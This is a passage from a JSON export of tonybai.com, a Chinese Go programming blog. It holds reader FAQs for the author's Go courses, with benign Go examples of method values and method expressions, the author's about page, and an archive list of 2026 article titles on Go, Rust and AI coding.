href=\"http://gk.link/a/10AVZ\"\u003e《Go语言第一课》\u003c/a\u003e专栏正式上线后收到了很多读者的留言反馈，很多留言中的问题显然都是大家认真思考过提出的，在专栏后台我也尽可能地做出认真细致的回答。这些问题以及我的回答也算是我和专栏学习者基于专栏的二次创作，于是我有了将这些问题作为FAQ集中记录起来的想法，这就是这篇文章的由来。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e本页面内容将持续更新\u003c/strong\u003e！请持续关注\u003ca href=\"https://tonybai.com/go-course-faq\"\u003e本FAQ永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/go-course-faq\"\u003ehttps://tonybai.com/go-course-faq\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"一-本人相关\"\u003e一. 本人相关\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e关于音频中带有地方特色的口音^_^\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这也是我第一次录带有音频的专栏，虽然音频老师给与了多次耐心的讲解，但毕竟不是专业的，在音频技巧方面还有提高空间。\u003c/p\u003e","title":"Go语言第一课FAQ"},{"content":"\n本文永久链接 – https://tonybai.com/go-advanced-course-faq\n《TonyBai · Go 语言进阶课》专栏于2025年5月12日正式上线了！和《Go语言第一课》专栏一样，我也在这里建立一个页面，用于汇总读者的常见的精彩提问以及我的回答，作为我和专栏学习者基于专栏的二次创作，供广大的专栏学习者阅读参考。\n本页面内容将持续更新！请关注本FAQ永久链接 – https://tonybai.com/go-advanced-course-faq。\n一. 本人相关 新的进阶课程是AI朗读？不是您的声音了吗？ 2022年ChatGPT大模型应用上线以来，文字转音频日益成熟，如今极客时间专栏已经全面采用AI机器人朗读模式，我的专栏并非个例。\n二. Go进阶专栏 为什么要出这个Go进阶专栏？ 为此，我特意写了一篇简短的文章，叙述了这门Go专栏诞生幕后的那些事，感兴趣的朋友可以去看看。\n专栏的更新节奏 根据极客时间要求，专栏依然是每周更新三篇!\n是否有针对该专栏的交流群 目前暂没有。作者精力有限，能力有限，不适合维护这样的一个群，希望大家体谅。欢迎大家在专栏积极留言，我会认真解答大家问题的。\n专栏讲解使用的是Go最新稳定版本吗？ 专栏的内容使用的是Go 1.24版本，这是Go团队与2025年2月份发布的最新Go稳定版。\n专栏课程相关源码从哪里可以下载到？ 下面为专栏源码专用仓库地址：\ngithub仓库 – https://github.com/bigwhite/publication/tree/master/column/timegeek/go-advanced-course\n我以前买了Go语言第一课，这个新进阶课程与第一课重复的内容多么？ 《Go语言第一课》和《Go语言进阶课》是为处于不同学习阶段的 Gopher 设计的，目标也截然不同。\n《第一课》 更侧重于帮助初学者或有其他语言背景的同学快速入门 Go 语言，掌握其核心语法、常用库和基本并发编程，目标是让你能“写出能跑的 Go 程序”。\n而《进阶课》 则是面向已经具备 Go 基础（比如完成了《第一课》或有同等水平）的同学，目标是帮助大家从“熟练”到“精通”。它会深入探讨《第一课》中可能仅点到为止或未曾涉及的底层原理、设计哲学、工程实践、性能调优、复杂项目的设计与架构等。\n所以，即使在目录中看到一些相似的关键词（比如“切片”、“Map”、“并发”），《进阶课》也会从更深、更广、更偏实践和设计的角度去剖析，解决的是你在实际工作中遇到的更复杂的问题和瓶颈。可以说，两者的内容重复性非常低，它们是承上启下的关系，而非简单的重复。\n我买了《Go精进之路》1、2册，还需要买这个进阶课程吗 《Go语言精进之路》书籍和这门《TonyBai · Go 语言进阶课》虽然都旨在帮助大家深入 Go，但侧重点和内容有显著不同：\n语法强化方面：两者确实会有一些基础概念的交集。但《精进之路》书籍更侧重于对 Go 语法特性本身的深度剖析和原理阐述。而《进阶课》虽然也夯实语法，但更偏重于这些语法特性在进阶场景下的应用、认知瓶颈的突破以及底层逻辑的实践性理解，视角和深度有所不同。 设计与工程实践方面：这部分是《进阶课》的核心增量和全新内容。课程中的“设计先行”和“工程实践”两大模块，涵盖了从项目布局、包设计、并发设计、接口设计，到应用骨架、可观测性、性能调优、云原生部署、AI 集成等几乎在《精进之路》中未曾系统展开的实战内容。这块是课程独特价值的关键所在。 时效性：这是线上课程的一大优势。《进阶课》的内容已经同步到了最新的 Go 版本1.24，确保了知识和实践的前沿性。 简单来说，如果您在阅读《精进之路》后，希望系统提升软件设计能力、掌握生产级服务的工程化方法，并了解 Go 的最新实践，那么《进阶课》将为您带来全新的、极具价值的内容。两者是很好的互补。\n老师，你有计划将这进阶课的内容出书吗？ 关于出书计划，目前我的主要精力还是放在确保专栏内容的质量和与大家的线上互动上。《Go语言进阶课》专栏刚刚在极客时间上架，我希望能先通过专栏的形式，与大家充分交流，收集反馈，持续打磨内容，让它能最大限度地帮助到正在进阶路上的 Gopher 们。所以，短期内暂时还没有将《进阶课》内容整理出书的计划。\n不过，极客时间平台一直以来都非常支持讲师 IP 的价值最大化，对于作者将优质专栏内容出版成书也持非常开放和鼓励的态度。未来，如果时机成熟，并且《进阶课》的内容经过了充分的沉淀和迭代，我一定会认真考虑将其出版成书，以满足不同读者的学习需求。\n三. 专栏内容答疑 方法值和方法表达式在什么样的开发场景中使用？感觉很少使用，或许是不知道该什么使用？ 这个问题问得特别好，确实，方法值和方法表达式不像 for 循环或 if 语句那样天天用。但它们在特定的场景下能让代码变得简洁和优雅一些。\n方法值将一个方法绑定到了一个具体实例上，形成一个函数。就像创建了一个快捷方式，点一下就直接对那个特定对象执行操作。其核心在于“将一个特定实例的方法当作一个值来传递”。\n一个常见的场景是用作回调函数或事件处理器。我们常用的net/http就是一个很好的例子。\ntype APIServer struct { addr string // ... 其他依赖，如数据库连接 } // handleRoot是APIServer的一个方法，它可以访问APIServer的内部状态 func (s *APIServer) handleRoot(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;Welcome to the server at %s\u0026#34;, s.addr) } func main() { server := \u0026amp;APIServer{addr: \u0026#34;:8080\u0026#34;} // 这里，server.handleRoot就是一个方法值！ // 它是一个函数，已经绑定了server这个实例。 // 当请求来了，http库直接调用这个函数即可。 http.HandleFunc(\u0026#34;/\u0026#34;, server.handleRoot) http.ListenAndServe(server.addr, nil) } 另外一个大家可能没有意思到的典型场景，那就是在 Goroutine 中执行特定实例的任务。\ntype Worker struct { id int task string } func (w *Worker) Process() { fmt.Printf(\u0026#34;Worker %d is processing task: %s\\n\u0026#34;, w.id, w.task) // ... 模拟长时间工作 time.Sleep(2 * time.Second) fmt.Printf(\u0026#34;Worker %d finished.\\n\u0026#34;, w.id) } func main() { w1 := \u0026amp;Worker{id: 1, task: \u0026#34;data-crunching\u0026#34;} w2 := \u0026amp;Worker{id: 2, task: \u0026#34;image-resizing\u0026#34;} // go w1.Process 就是在使用方法值 // 启动一个goroutine，专门执行w1的Process方法 go w1.Process() go w2.Process() time.Sleep(3 * time.Second) } 方法表达式的核心在于“将方法本身作为一种算法策略来使用”，通常用在需要对一组同类型对象进行统一操作的场景。\n典型的使用场景，包括用于高阶函数。 比如：sort.Slice 或自定义的集合操作\ntype User struct { Name string Age int } // IsOlderThan 是一个方法 func (u User) IsOlderThan(other User) bool { return u.Age \u0026gt; other.Age } // FindFirst(users, predicate) 这样的函数 // 但最经典的还是用在排序的场景 func main() { users := []User{{\u0026#34;Alice\u0026#34;, 30}, {\u0026#34;Bob\u0026#34;, 25}, {\u0026#34;Charlie\u0026#34;, 35}} // 我们想按年龄降序排序 sort.Slice(users, func(i, j int) bool { // 在这个闭包内部，我们可以使用方法值 //return users[i].IsOlderThan(users[j]) // 或者，我们可以用方法表达式来实现 return User.IsOlderThan(users[i], users[j]) }) fmt.Println(users) } 总的来说，当你需要把某个特定对象的某个方法传来传去时，用方法值。当你需要把一类对象的某个通用方法当作一个算法或策略来使用时，用方法\n表达式。\n究竟该不该一直在消费者包中定义接口呢？ 软件设计中一个永恒的主题：原则是指导，实践需权衡。\n你问(第20讲)：“究竟该不该一直在消费者包中定义接口呢？”\n答案是：不一定。这取决于场景和你的设计目标。\n“接口定义在消费者”为什么好？\n最大化解耦： 消费者（比如 handler）只定义它自己需要的最小接口，它不关心谁来实现，也不需要 import 任何具体的实现包。 易于测试： 消费者只依赖自己包内的接口，写单元测试时，mock实现变得极其简单。 强制我们从使用者的角度思考需要什么能力，而不是从实现者的角度思考能提供什么能力。 为什么第20讲的实战项目中没有完全遵守？更具体说：为什么 storage 和 idgen 的接口没有定义在它们的消费者（比如 shortener/service.go）里，而是定义在了 storage/interface.go 和 idgen/interface.go？\n这背后有两个非常务实和重要的考量：\n考量一：将包视为一个“功能模块”或“子系统”\n在我们的项目中，storage 不仅仅是一个包，它代表了一个完整的“存储”子系统。这个子系统对外提供了一套标准的“契约”（Contract），而 storage/interface.go 里的 Repository 接口，就是这个存储子系统的公开API。 同样，idgen 是“ID生成”子系统，idgen.Generator 接口就是它的公开API。\n任何想了解“存储”能力的人，只需查看 internal/storage 目录，特别是 interface.go，就能立刻明白这个模块能做什么。这极大地提升了代码的可读性和可维护性。\n考量二：应对“多消费者”场景\n一个接口往往有多个消费者。当有多个消费者时，这个接口应该定义在哪呢？定义在A包中，那么同样使用该接口的B包就要import A，造成不必要，也是不合理的耦合。\n解决方案就是将这个被多个消费者共享的接口，提升到一个公共的、稳定的地方。最自然的地方，就是它所描述的那个功能模块的根目录下，即 storage/interface.go。\n针对“测试进阶：组织、覆盖、Mock与Fuzzing的最佳实践”这节课，课中的一切推荐的策略和规范，只需要引入一个ginkgo 框架，这样可能会更适 合一个组织来规范测试代码？\n这个问题提得非常好，直接点到了Go测试的一个核心选择：用原生库还是上框架？\n你说的没错，ginkgo 这样的BDD框架确实能很强地规范团队的测试风格，它的结构化和功能非常清晰。\n但我们这门课的核心目标，更像是 “授人以渔”。\nginkgo 就像一条已经烹饪好的“鱼”，它好吃、方便，直接解决了“怎么规范组织和编写测试”的问题。\n而我们的专栏里讲解的测试组织的规范和策略等这些，则是“渔”——是钓鱼的方法和工具。\n目的是让大家：\n打好基本功： 掌握了这些基础，你才能真正理解 ginkgo 这类框架在背后为你做了什么，也才能在框架不适用或过度设计时，有能力用最原生、最\u0026gt;直接的方式解决问题。\n拥有选择权： ginkgo 的 BDD 风格虽然好，但并非所有团队都习惯或喜欢这种风格。很多Go团队更推崇原生、简洁的测试方式。学会了原生测试，\u0026gt;你才能根据团队情况做出明智的选择。\n所以，课程的目的是面向广大开发者，而不是某个专属的测试框架。是让你成为一个能造渔具、也能用好渔具的测试高手，而不仅仅是会吃某一种鱼\n的开发者。当你掌握了核心原理，无论将来遇到什么测试框架，都能快速上手，运用自如。\n","permalink":"https://tonybai.com/go-advanced-course-faq/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/course-card/go-advanced-course-4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-advanced-course-faq\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/go-advanced-course-faq\"\u003ehttps://tonybai.com/go-advanced-course-faq\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://gk.link/a/12yGY\"\u003e《TonyBai · Go 语言进阶课》\u003c/a\u003e专栏于2025年5月12日正式上线了！和\u003ca href=\"http://gk.link/a/10AVZ\"\u003e《Go语言第一课》\u003c/a\u003e专栏一样，我也在这里建立一个页面，用于汇总读者的常见的精彩提问以及我的回答，作为我和专栏学习者基于专栏的二次创作，供广大的专栏学习者阅读参考。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e本页面内容将持续更新\u003c/strong\u003e！请关注\u003ca href=\"https://tonybai.com/go-advanced-course-faq\"\u003e本FAQ永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/go-advanced-course-faq\"\u003ehttps://tonybai.com/go-advanced-course-faq\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"一-本人相关\"\u003e一. 本人相关\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e新的进阶课程是AI朗读？不是您的声音了吗？\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e2022年ChatGPT大模型应用上线以来，文字转音频日益成熟，如今极客时间专栏已经全面采用AI机器人朗读模式，我的专栏并非个例。\u003c/p\u003e","title":"Go语言进阶课FAQ"},{"content":"Go程序员，C程序员，技术架构师，技术总监，技术讲师/培训师，技术撰稿人。先后供职于国内某大型软件公司和某创业型数据与基础设施服务公司。喜技术，爱钻研；热爱开源，曾先后贡献了lcut、cbehave、buildc多个工具框架；喜好写博客，写博十余年，仍孜孜不倦。\n一、技术培训 1. 《Go高级工程师训练营》 训练营培训内容大纲：\n二、原创作品 1. 书籍 《Go语言精进之路：从新手到高手的编程思想、方法和技巧1》，豆瓣评分8.7分 《Go语言精进之路：从新手到高手的编程思想、方法和技巧2》 《Go语言第一课》 *《智慧之光.序篇》\n2. 杂志期刊 《追求极简：Docker镜像构建演化史》 发表于《程序员》杂志2017.12 《制定绩效目标的几个重要因素》 发表于《程序员》杂志2012.11 《改善技术布道效果的几个实践》 发表于《程序员》杂志2012.8 3. 技术专栏 《AI原生开发工作流实战》 极客时间专栏：AI原生开发工作流实战\n《Tony Bai·Go语言进阶课》 极客时间专栏：Go语言进阶课\n《Tony Bai·Go语言第一课》 极客时间专栏：Go语言第一课\n《改善Go语言编程质量的50个有效实践》 慕课专栏：改善Go语言编程质量的50个有效实践\n《AI 应用开发第一课》 微专栏：AI 应用开发第一课\n《Go TUI开发入门课》 微专栏：重塑终端：Go TUI开发入门课\n《Go并发心智模型课》 微专栏：Go并发心智模型课\n《Go密码学101》 微专栏：Go密码学101\n《Gemini CLI：重新定义命令行AI开发》 微专栏：Gemini CLI：重新定义命令行AI开发\n《Go并发调度艺术》 微专栏：Go并发调度艺术\n《征服Go并发测试》 微专栏：征服Go并发测试\n更多技术专栏，请查看《我的技术专栏》汇总页！\n三、翻译作品 《七周七语言》(2012) 《Go语言编程指南》(2014)\n四、公开演讲 1. “The State Of Go” for GopherChina 2023 2. “Go coding in go way” for GopherChina 2017 视频内容：\nVideo 3\n演讲文稿：Go coding in go way\n3. “高可用私有镜像仓库实践” for 开源中国源创会沈阳站2017 演讲文稿：基于Harbor的高可用企业级私有容器镜像仓库部署实践\n五、在线课程 1. 慕课网：《Kubernetes基础：开启云原生之门》初/中级(课时：2小时) 课程特色目标 Kubernetes重新定义了未来十年基础设施承载云原生应用的形式，成为了面向云原生应用的新云平台，是目前最为火爆的平台技术。想学习和了解Kubernetes这一平台技术吗？快来看看吧！\n通过本门课程，您将学到：\n1、Kubernetes是什么？\n2、为什么要使用Kubernetes? Kubernetes给开发者带来哪些好处？\n3、如何在Kubernetes集群上部署和管理一个应用\n4、Kubernetes的架构\n5、Kubernetes的组件与功用\n6、Kubernetes对象模型以及基础概念\n课程简介 Kubernetes是谷歌公司以其内部容器管理平台Borg为原型，重新设计和实现的容器管理和编排调度工具，是Google公司集十多年容器技术、使用经验和运维管理最佳实践于一体的大成之作。在2017年Kubernetes战胜了两个强大的竞争对手Swarm和Mesos，成为容器管理与调度编排领域的首选平台和事实标准。\n本门课程共分为五个部分。\n第一部分：了解一下应用部署运行模式的变迁，弄清楚每种应用部署运行模式的特点、对开发者的影响以及模式演进的趋势。\n第二部分：了解Kubernetes究竟是什么? 我们为什么要使用Kubernetes，它能给开发者带来哪些好处？\n第三部分：我们将实际操作如何在Kubernetes集群上部署和管理一个应用。\n第四部分：我们来学习一下Kubernetes的架构、组件以及组件功用。\n第五部分：我们以Kubernetes对象模型为主线，一起来学习一下Kubernetes的基本概念。\n2. 慕课网：《Kubernetes实战 高可用集群搭建、配置、运维与应用》，中级(课时：8小时) 课程简介 Kubernetes于2018年中旬从CNCF组织正式“毕业”，意味着Kubernetes已经正式成熟并可以在生产环境中使用，是目前最流行的、使用最为广泛的容器管理平台，被誉为“二十一世纪的Linux”，已经被全球Top3的云基础设施服务上所支持，未来将成为“唯一”的云平台，作为未来云平台的核心，Kubernetes重新定义了基础设施承载云原生应用的形式，Kubernetes，是各类IT从业人员趋之若鹜的技能。\n本门课程面向生产环境，课程的核心内容参见下面课程介绍截图：\n六、专利 CN119094509A：车云通信方法、装置、电子设备和计算机存储介质 https://www.himmpat.com/browse?localId=97c65bc9c58956cfca38e14f4a2fc1a7\nCN117201591A：一种基于MQTT协议的消息追踪方法、装置及相关产品 https://www.himmpat.com/browse?localId=e532b80513a040807056abbf3e044ac7\nCN116980859A：一种车辆和云端的信息同步交互方法及相关设备 https://www.himmpat.com/browse?localId=e8e8ed8fb840198032d41cda4c0d56df\n七、联系我 我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/about/","summary":"\u003cp\u003eGo程序员，C程序员，技术架构师，技术总监，技术讲师/培训师，技术撰稿人。先后供职于国内某大型软件公司和某创业型数据与基础设施服务公司。喜技术，爱钻研；热爱开源，曾先后贡献了\u003ca href=\"https://github.com/bigwhite/lcut\"\u003elcut\u003c/a\u003e、\u003ca href=\"https://github.com/bigwhite/cbehave\"\u003ecbehave\u003c/a\u003e、\u003ca href=\"https://github.com/bigwhite/buildc\"\u003ebuildc\u003c/a\u003e多个工具框架；喜好写博客，写博十余年，仍孜孜不倦。\u003c/p\u003e","title":"关于我"},{"content":"二零二六 2026.06 《浏览器里的“安全阴谋”：为什么 Go 1.27 的 UUIDv7 会离奇丧失随机性？》 《Go 1.27新特性前瞻：泛型方法落地，标准库内建 UUID》 《AI 正在撕裂研发团队：狂欢的“托管派”与心碎的“守夜人”》 《屠榜 CNCF！为什么在云原生时代，Go 语言能把 Java、C++ 和 Rust 堵在门外？》 《大模型正在见顶！传奇架构师：欢迎来到“平坦曲线时代”》 《在 AI 编码时代，为什么我们依然选择 Go 而不是 Rust？》 《DeepMind 亮出王炸：别再手写 Agent Harness 了，AI 已经学会自己写了！》 《为什么说“编译通过，就能运行”？Google 专家 Alice 揭秘 Rust 的工程美学与底层逻辑》 《谷歌 SRE 重磅白皮书：当 AI 自动写出 10 倍代码，谁来阻止系统崩溃？》 《别再省 Token 了！硅谷新共识：浪费算力才是唯一捷径》 《Linux 内核顶级维护者：写了 35 年 C，是 Rust 让我重新找回了编程的乐趣》 《拒领上亿、封杀 AI：Zig 之父为什么 10 年不发 1.0？》 《写地道的 Go 语言，是否能让你成为了一个更好的开发者？》 《RSA 将死？Let’s Encrypt 押注 MTCs 迎战后量子时代》 《C++ 的权力游戏：一部关于妥协、背叛与重生的“史诗神剧”》 《终结十年纠结：Go 新提案允许 Example 支持任意函数签名》 《2026年，大厂重构核心系统为何集体投向 Go？》 《“辛辛苦苦考上985，却发现AI能替代我90%的工作”：今天的高考，我们还在为什么而战？》 《传奇黑客 Geohot 炮轰 AI Agent：这是软件工程史上代价最昂贵的灾难！》 《别把 Go 写成 Java：毁掉项目从过度架构开始》 《开源维护者的困境》 《AI 时代如何真正掌握一门新技术？这份非主流学习指南建议永久收藏》 《Go 生态17年大浪淘沙：2026年最值得引入的10个“神仙级”QoL工具包》 《再见样板代码！Go 官方新提案：函数一键转接口》 《写代码快 10 倍，不等于研发快 10 倍！Google 揭秘 AI 系统级瓶颈》 2026.05 《Google I/O 2026：Jeff Dean 携 DeepMind 众神宣告，AI Agent 正在终结“标准化软件”时代》 《AI 优化 1.5ms，手写 0.02ms！Ghostty 作者痛批 AI 编程“平庸陷阱”》 《Redis 之父吐槽现代前端的复杂性：我们到底是在解决问题，还是在制造问题？》 《无痛消灭技术债：Google I/O 2026 开启 Go 自动重构时代》 《省下 10% CPU！Uber 揭秘 Go 栈扩容的隐秘代价》 《从 Go 迁移到 Rust》 《悄悄用 Go 重写 AI 基础设施：NVIDIA 的 GPU 云平台为何选择 Go？》 《Shopify 23,000 名工程师背后的 Claude Code 配置方案（你可以直接复刻的完整配置）》 《Google 开源 AX 与 Agent Substrate：构建以 Agent 为核心的云原生计算底座》 《十年难题终获突破：揭秘 Go 1.27 接口逃逸分析优化》 《大洗牌！Google 内部确认：Go 正取代 C++，成为 AI Agent 时代的“通用语言”》 《AI 编码胜率榜：Go 与 Rust 完胜 C++》 《代码可以让 AI 写，但设计得由你做：重塑工程师的“算法直觉”》 《别神话 Rust 重写了：搞定1%热路径，Go 性能照样起飞》 《如何在大型代码库中运用 Claude Code：最佳实践及入门指南》 《写了 10 年 Java/TS，Go 语言终于治好了我的“过度设计”绝症》 《AI 时代，软件大师们为什么都倒戈向 Go 和 Rust 了？》 《别再瞎写 go.mod 了！一行 go 1.xx，竟藏着 7 个足以颠覆你认知的“秘密开关”》 《谁说 Rust 在中国火了？扒开 2025 全年数据，我看到了令人尴尬的真相》 《“用 Go 打天下，用 Rust 救火”：这才是 2026 年后端架构的唯一正解》 《对话 Uber 前 CTO：我如何用 5000 个微服务驯服这头失控的巨兽》 《Anthropic 工程师发文：别用 Markdown 了，HTML 才是 AI 的终极语言！》 《火爆外网的 Go 开源神器 CLI Printing Press：一键生成 Agent 专属 CLI 工具》 《Bun 创始人带头“叛逃”：放弃 Zig，用 AI 把项目重写成 Rust？》 《AWS 大神发文炮轰：Go 的并发就是个“笑话”，JVM 的方案要更优越》 《Robert Griesemer 亲述：只解决 90% 问题的“箭头函数”该长什么样？》 《“AI 让每个人都成了开发者”，就像“相机让每个人都成了摄影师”》 《AI 正在把我们推向“双输”深渊：顶级论文揭示“AI 裁员陷阱”》 《“AI 正在用垃圾代码摧毁一切！”：Flask 之父对话 Pi 作者，揭开 AI 编程的残酷真相》 《从“Vibe-Coding”到“Agentic Engineering”：Andrej Karpathy 的 AI 时代程序员生存法则》 《开源社区“内战”爆发：Bun 创始人预言“未来将禁止人类贡献”，硅谷大佬纷纷站队！》 2026.04 《Ghostty 之父带头“出走”GitHub！官方 CTO 紧急道歉，并揭秘正在使用 Go 语言救火》 《Go 1.27 将默认开启 SIMD for amd64，可移植 SIMD 包提案出炉》 《Go 语言“内战”迎来终局？Go 圣经作者亲自下场，为“三元运算符”发起折中提案！》 《“我们想用 Rust 重写的次数是：零”：云平台 Render 靠“无聊”的 Go 撑起了千亿流量》 《对话 Martin Kleppmann：DDIA 第二版揭秘，以及 AI 将如何颠覆分布式系统》 《为什么人人爱 Rust，但 RedMonk 榜单却给它泼了一盆冷水？》 《Go 代码设计的“第一天原则”：一份能让你少走五年弯路的实战模式清单》 《HashiCorp 创始人亲口“认错”：AI 让我重新爱上了 Go (文末福利)》 《聊聊为什么我要花这么大精力，带大家手写 Agent Harness？》 《“我把公司卖了，却感觉一无所有”：OpenClaw 之父 TED 亲述如何靠 AI 重获新生》 《薄驾驭，厚技能：YC 掌门人揭秘拉开 1000 倍效率差距的 AI 工程化心法》 《从“开源英雄”到“社区公敌”，Ollama 到底做错了什么？》 《GPU 计算的起源》 《Rust 还没进前十，TIOBE 就开始唱衰了？》 《为什么说 go 语句是新时代的 goto？四大法则拯救失控 goroutine》 《C++ 社区内部大讨论：新特性到底是“生产力革命”，还是“叠加的复杂性”？》 《别再无脑 go func() 了！Go 资深布道师 Dave Cheney 的 Goroutine 管理哲学》 《AI 时代，敏捷宣言已死？听听 Martin Fowler 和 Kent Beck 怎么说》 《Go Command 工作组成立：这几个用了十年的命令可能要被废！》 《Ruby on Rails 之父最新访谈：AI 正在推高顶尖程序员的身价》 《别搞“小而美”了！Rust 开发者请愿：求求标准库学学 Go 吧》 《倒计时 33 个月？Go 前安全负责人：量子计算机将“摧毁”互联网》 《从 1960 到 2026：一文看透 Java、Go、Python 垃圾回收器的原理与演进》 《AI 编程时代，我挖出了一本 1999 年的“删库跑路”指南》 《当AI 榨干了编程所有的乐趣：我不再是程序员，而是“Claude Code”的项目经理》 《REST 已老，AI 时代的智能体需要怎样的 API？》 《2026 编程语言“饱和度”榜单出炉：JavaScript/Python 已“烂大街”，Go/Rust 成最大赢家？》 《一天重写 JSONata，我用 400 美元干掉了公司 50 万美元的 K8s 集群》 2026.03 《当 Go 还在追求极简时，C++ 26 却又加了四大“史诗级”新特性》 《降低 74% 的 P99 尾延迟：揭秘 Go HTTP 客户端的“请求对冲”魔法》 《别再用 AI 疯狂撸代码了！我们正在把自己逼入“死胡同”》 《谷歌一篇论文砸崩内存巨头？不懂“显存墙”，怎么做 AI 时代的工程师！》 《Rust 看了流泪，AI 看了沉默：扒开 Go 泛型最让你抓狂的“残疾”类型推断》 《Rust 核心团队大吐苦水：求求你们别再用 AI 提交“垃圾 PR”了！》 《Go 语言之父亲自下场道歉：藏在 Spec 里的十年“笔误”，终于要修正了！》 《告别古法编程黄金时代：AI 时代不会再有新编程语言诞生的土壤》 《OpenAI 创始人盛赞 Rust，却遭开发者反驳：Go 才是大模型眼里的“香饽饽”！》 《看了 100 小时教程，你为什么依然写不好代码？扒开技术人的“成长环”真相》 《你的 Go 报错信息正在“出卖”你！扒一扒大厂是如何做错误隔离与日志脱敏的》 《如果服务器悄悄“猝死”，你的系统还能活几秒？揭秘分布式集群的“续命”保底机制》 《刚刚，2025图灵奖揭晓！面对即将瘫痪的传统密码学，Go 语言的“抗量子”底牌曝光》 《别再无脑 go get @latest 了！你的服务器可能下一秒就被黑客接管》 《为什么你的 AI Agent 总是像个智障？来自 Manus 大佬的 2 年血泪避坑指南》 《手工作坊的终结：为什么你必须把 Agent Skills 开发，变成严谨的软件工程?》 《泡沫消退后的冷思考：2026年，AI 工程师的真实生存图景》 《被嘲笑比 Python 还慢？扒开 Go 正则表达式的底层，看看它为了防范“系统猝死”付出了什么》 《真相调查：Go 语言真的消灭了 Undefined Behavior 吗？》 《别傻了，写出极致整洁的代码，是你升不了职的根本原因》 《都在用 OpenClaw 跑 Skill，但你写的“技能”为什么总让 AI 频繁罢工？》 《拒绝“偷天换日”！深度拆解 Go sumdb 的密码学防线》 《别再滥用 ClickHouse 了！单机每秒狂刷 1800 万条数据，拆解 Go+DuckDB 的“微型数仓”降维打击》 《别再卷前端 UI 了！未来万亿级用户的产品，根本没有界面》 《老板花重金买了台 128 核服务器，我的 Go 程序反而变慢了？》 《你每天敲下的 go func()，藏着这位 92 岁老人的毕生心血》 《拉个 JSON 居然要装 5 个第三方库？终于明白 Go 的标准库到底有多“霸道”》 《Docker 的十年：重塑云原生基础设施的“底层炼金术”》 《硬核测评：哪门语言最受 AI 宠爱？13 种语言横向对比，Go 表现如何？》 《从第一位程序员到 AI 时代的领航者：代码世界里的“她”力量》 《打破“知识诅咒”：资深架构师在 OpenClaw 浪潮中的掉队与反思》 《AI 时代的新王座：为什么说 Go 可能是开发 AI Agent 的最佳语言？》 《从手写代码到日提 30 个 PR：Claude Code 缔造者的 AI 编程启示录》 《数据说话：Go 1.26 或成近年来“问题最多”的大版本，现在升级安全吗？》 《2026 年了，写 Go + Protobuf 还在手敲 protoc 命令？是时候换用这种新姿势了！》 《为什么 Web3 依然寒气逼人？AI 智能体如何催生 Web 4.0 的黎明》 《“棘手”难题：为什么 Go、Rust 与 Java 等语言的包管理永远无法达到完美？》 《别再像 2015 年那样写 Go 了：Modern Go 终极进化指南》 《AI 时代的开源：当 Coding Agent 接管 GitHub，我们该何去何从？》 《告别 google/uuid：Go 标准库拟新增 crypto/uuid 深度解析》 2026.02 《停止“氛围编程”（Vibe Coding），拥抱新一代软件工程》 《Go mod init 降级撤回背后：精英主义正在杀死 Go 社区的民主？》 《拒绝 Rust 的复杂，跨越 Go 的极简：Zig 会是系统级编程的最终答案吗？》 《Rust 的“跨越鸿沟”时刻：Ubuntu 全面拥抱 Rust 意味着什么？》 《拒绝无效告警！用 Govulncheck 构建高信噪比的 Go 安全扫描工作流》 《性能之战的“罗生门”：Go 重写 Node.js 项目，究竟赢在了哪里？》 《金融级基础设施重构：放弃 Rust 拥抱 Go，务实主义的最终胜利？》 《一行 Go 代码瘫痪 6 小时！复盘 Cloudflare BGP 路由撤回灾难》 《“你装了 Go 1.26，却写不了 Go 1.26 的代码？”——复盘 go mod init 的降级风波》 《当“安全性”遭遇“交付速度”：2026 年，我为什么告别了 Rust》 《复利工程（Compound Engineering）：AI 原生时代的软件开发新哲学》 《别再轻信 GitHub 上的源码：为何我们需要全新的 Go 模块审查机制？》 《Go 1.26 重磅更新：用 go fix 重塑代码现代化的艺术》 《AI 基础设施的语言之争：为何构建 LLM 网关时，我们放弃了 Python 选择了 Go？》 《Go 1.26 ：go mod init 默认行为的变化与 Go 版本管理的哲学思辨》 《极简主义的胜利：OpenClaw 核心引擎 Pi 的架构哲学与开发实录》 《拒绝 AI 署名！Go 核心团队在 AIGC 时代划下的“工程红线”》 《“代码必须不是人写的”：2026 年软件工厂宣言！》 《Go 1.26 中值得关注的几个变化：从 new(expr) 真香落地、极致性能到智能工具链》 《UML 之父 Grady Booch：别听 CEO 瞎忽悠，软件工程的第三次黄金时代才刚刚开始》 《Go 微服务重构实录：当后端性能提升 10 倍，移动端体验为何反而崩塌？》 《AI 垃圾代码泛滥？HashiCorp 创始人开源 Vouch：重构开源信任机制》 《从 P2H 到 P2A2H：软件架构的终极倒置——为智能体设计软件》 《2026 软件开发新纪元：解读 Anthropic《Agentic Coding 趋势报告》》 《Go 1.26 发布在即，为何 json/v2 依然“难产”？七大技术路障全解析》 《输入需求，输出系统：AI Agent 正在实现软件工程的“终极梦想” —— 软件工厂！》 《告别 Flaky Tests：Go 官方拟引入 testing/nettest，重塑内存网络测试标准》 《AMP 宣布砍掉 VS Code 插件：为什么说“人机结对编程”已死？》 《沉睡 8 年的提案被唤醒：Go 语言真的要引入“不可变类型”了吗？》 《数据打脸刻板印象：Go 的“样板代码”竟然和 Rust 一样多？》 《告别单打独斗！Claude Code 全新“Agent Team”模式：当 AI 开始组队干活》 《“Go 2，请不要发生！”：如果 Go 